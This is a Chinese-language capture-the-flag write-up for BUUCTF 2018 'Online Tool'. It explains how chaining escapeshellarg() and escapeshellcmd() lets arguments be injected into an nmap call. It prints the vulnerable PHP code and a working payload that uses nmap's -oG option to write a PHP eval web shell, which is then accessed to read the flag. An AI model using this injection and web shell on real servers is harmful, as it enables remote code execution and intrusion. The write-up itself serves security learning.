【escapeshellarg()&&escapeshellcmd()漏洞利用】 BUUCTF2018 Online Tool WriteUp

前景知识

nmap:

利用题目的nmap命令,举个例子

1
2
3
4
5
6
7
nmap -T5 -sT -Pn --host-timeout 2 -F 

-T5: 即Insane模式,适合快速的网络或者不在意丢失默些信息,对每台主机的超时限制为75秒,对每次探测只等待0.3秒
-sT: TCP连接扫描
-Pn: 无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用
-F : 快速扫描
-oG: nmap -F -oG test.txt 192.168.23.1 将扫描结果保存到test.txt

nmap文件写入:

利用nmap工具的-oG选项,写入一句话木马

PHP escapeshellarg()以及escapeshellcmd()

escapeshellarg()函数

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

举个栗子:

172.17.0.2' -v -d a=1经过escapeshellarg()函数处理后,会变成'172.17.0.2'\'' -v -d a=1'

即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

escapeshellcmd()函数

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。

反斜线(\)会在以下字符之前插入:&#;|*?~<>^()[]{}$\, \x0A\xFF'" 仅在不配对儿的时候被转义。

举个栗子:

'172.17.0.2'\'' -v -d a=1'经过escapeshellcmd()函数处理后,会变成'172.17.0.2'\\'' -v -d a=1\'

这是因为escapeshellcmd\以及最后那个不配对儿的引号进行了转义

最后,172.17.0.2' -v -d a=1经过escapeshellarg()以及escapeshellcmd()函数处理后,变成'172.17.0.2'\\'' -v -d a=1\',等价于172.17.0.2\ -v -d a=1'


WriteUp

打开页面,PHP代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这段代码最关键的命令在最后echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

因此使用nmap工具,进行文件写入,上传一句话木马

payload 如下: ?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

image-20210509201656180

蚁剑连接http://f98179c2-3f30-481c-9817-8085020fc07c.node3.buuoj.cn/25e4b4d5eb443d7e564912f2618de90a/hack.php,密码为hack

image-20210509201839864flag为:flag{82f575a0-765f-4836-9b99-0870af0b8574}


参考文章